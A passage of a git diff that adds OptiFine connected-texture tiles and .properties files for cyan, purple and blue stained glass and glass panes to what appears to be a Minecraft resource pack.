Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/3.png new file mode 100644 index 00000000..81db31fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/30.png new file mode 100644 index 00000000..c804c82b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/31.png new file mode 100644 index 00000000..497a1ffe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/32.png new file mode 100644 index 00000000..ab09ebde Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/33.png new file mode 100644 index 00000000..d65c5de8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/34.png new file mode 100644 index 00000000..92184c18 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/35.png new file mode 100644 index 00000000..fb3587a8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/36.png new file mode 100644 index 00000000..f6d84b81 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/37.png new file mode 100644 index 00000000..9016a5fd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/38.png new file mode 100644 index 00000000..bba832bf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/39.png new file mode 100644 index 00000000..706c0bce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/4.png new file mode 100644 index 00000000..b1a0f025 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/40.png new file mode 100644 index 00000000..6dc03620 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/41.png new file mode 100644 index 00000000..1fcc91ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/42.png new file mode 100644 index 00000000..f1cfbd9b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/43.png new file mode 100644 index 00000000..aec8126c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/44.png new file mode 100644 index 00000000..0ddd6691 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/45.png new file mode 100644 index 00000000..7c7bc745 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/46.png new file mode 100644 index 00000000..6495fef7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/5.png new file mode 100644 index 00000000..44692772 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/6.png new file mode 100644 index 00000000..663a5d12 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/7.png new file mode 100644 index 00000000..9a120cbd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/8.png new file mode 100644 index 00000000..39755b87 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/9.png new file mode 100644 index 00000000..74bddb44 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_cyan.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_cyan.properties new file mode 100644 index 00000000..9871de95 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_cyan.properties @@ -0,0 +1,5 @@ +# Stained glass cyan +matchBlocks=cyan_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_pane_cyan.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_pane_cyan.properties new file mode 100644 index 00000000..cc0665a0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/glass_pane_cyan.properties @@ -0,0 +1,6 @@ +# Stained glass pane cyan +matchBlocks=cyan_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/0.png new file mode 100644 index 00000000..fcae3d26 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/1.png new file mode 100644 index 00000000..c6388c76 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/10.png new file mode 100644 index 00000000..025cc5d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/11.png new file mode 100644 index 00000000..63222ea7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/12.png new file mode 100644 index 00000000..71a93f54 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/13.png new file mode 100644 index 00000000..453b8682 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/14.png new file mode 100644 index 00000000..c88f7b76 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/15.png new file mode 100644 index 00000000..41de6632 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/16.png new file mode 100644 index 00000000..52c0adaf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/17.png new file mode 100644 index 00000000..623d894a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/18.png new file mode 100644 index 00000000..2b1cbaab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/19.png new file mode 100644 index 00000000..9cffa1b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/2.png new file mode 100644 index 00000000..3f58b21e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/20.png new file mode 100644 index 00000000..bc6aa717 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/21.png new file mode 100644 index 00000000..eaef4e79 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/22.png new file mode 100644 index 00000000..f4633b23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/23.png new file mode 100644 index 00000000..85f4fea2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/24.png new file mode 100644 index 00000000..6161cf29 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/25.png new file mode 100644 index 00000000..e17b7b38 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/26.png new file mode 100644 index 00000000..99d1a53b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/27.png new file mode 100644 index 00000000..3543bc41 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/28.png new file mode 100644 index 00000000..35986d90 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/29.png new file mode 100644 index 00000000..f328c502 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/3.png new file mode 100644 index 00000000..6a12c184 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/30.png new file mode 100644 index 00000000..219ab34a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/31.png new file mode 100644 index 00000000..5b7580a0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/32.png new file mode 100644 index 00000000..811321be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/33.png new file mode 100644 index 00000000..6f0e33f9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/34.png new file mode 100644 index 00000000..1f6854a0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/35.png new file mode 100644 index 00000000..f0a1fcc4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/36.png new file mode 100644 index 00000000..95611680 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/37.png new file mode 100644 index 00000000..a32e9aef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/38.png new file mode 100644 index 00000000..532325cf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/39.png new file mode 100644 index 00000000..f900cfa7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/4.png new file mode 100644 index 00000000..4e202ca7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/40.png new file mode 100644 index 00000000..b0de565c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/41.png new file mode 100644 index 00000000..3764a558 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/42.png new file mode 100644 index 00000000..5ab97a6d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/43.png new file mode 100644 index 00000000..ba3bc7ca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/44.png new file mode 100644 index 00000000..55007391 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/45.png new file mode 100644 index 00000000..ff822911 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/46.png new file mode 100644 index 00000000..e8389d70 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/5.png new file mode 100644 index 00000000..35ae1216 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/6.png new file mode 100644 index 00000000..b81516be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/7.png new file mode 100644 index 00000000..0efca446 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/8.png new file mode 100644 index 00000000..fa3ab6b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/9.png new file mode 100644 index 00000000..b2d30509 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_pane_purple.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_pane_purple.properties new file mode 100644 index 00000000..d69064af --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_pane_purple.properties @@ -0,0 +1,6 @@ +# Stained glass pane purple +matchBlocks=purple_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_purple.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_purple.properties new file mode 100644 index 00000000..43d58e75 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/10_glass_purple/glass_purple.properties @@ -0,0 +1,5 @@ +# Stained glass purple +matchBlocks=purple_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/0.png new file mode 100644 index 00000000..38885de7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/1.png new file mode 100644 index 00000000..78b8685e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/10.png new file mode 100644 index 00000000..f111abb0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/11.png new file mode 100644 index 00000000..16827410 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/12.png new file mode 100644 index 00000000..b69e09ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/13.png new file mode 100644 index 00000000..696d771c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/14.png new file mode 100644 index 00000000..39676be5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/15.png new file mode 100644 index 00000000..dfa2b624 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/16.png new file mode 100644 index 00000000..4ffc019f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/17.png new file mode 100644 index 00000000..58eb303e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/18.png new file mode 100644 index 00000000..5f88c043 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/19.png new file mode 100644 index 00000000..c52be726 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/2.png new file mode 100644 index 00000000..85232a51 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/20.png new file mode 100644 index 00000000..c60f717e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/21.png new file mode 100644 index 00000000..1f2b02c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/22.png new file mode 100644 index 00000000..e67b9151 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/23.png new file mode 100644 index 00000000..e496c97f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/24.png new file mode 100644 index 00000000..28aef713 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/25.png new file mode 100644 index 00000000..aa469a29 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/26.png new file mode 100644 index 00000000..b9e05b29 Binary files /dev/null and 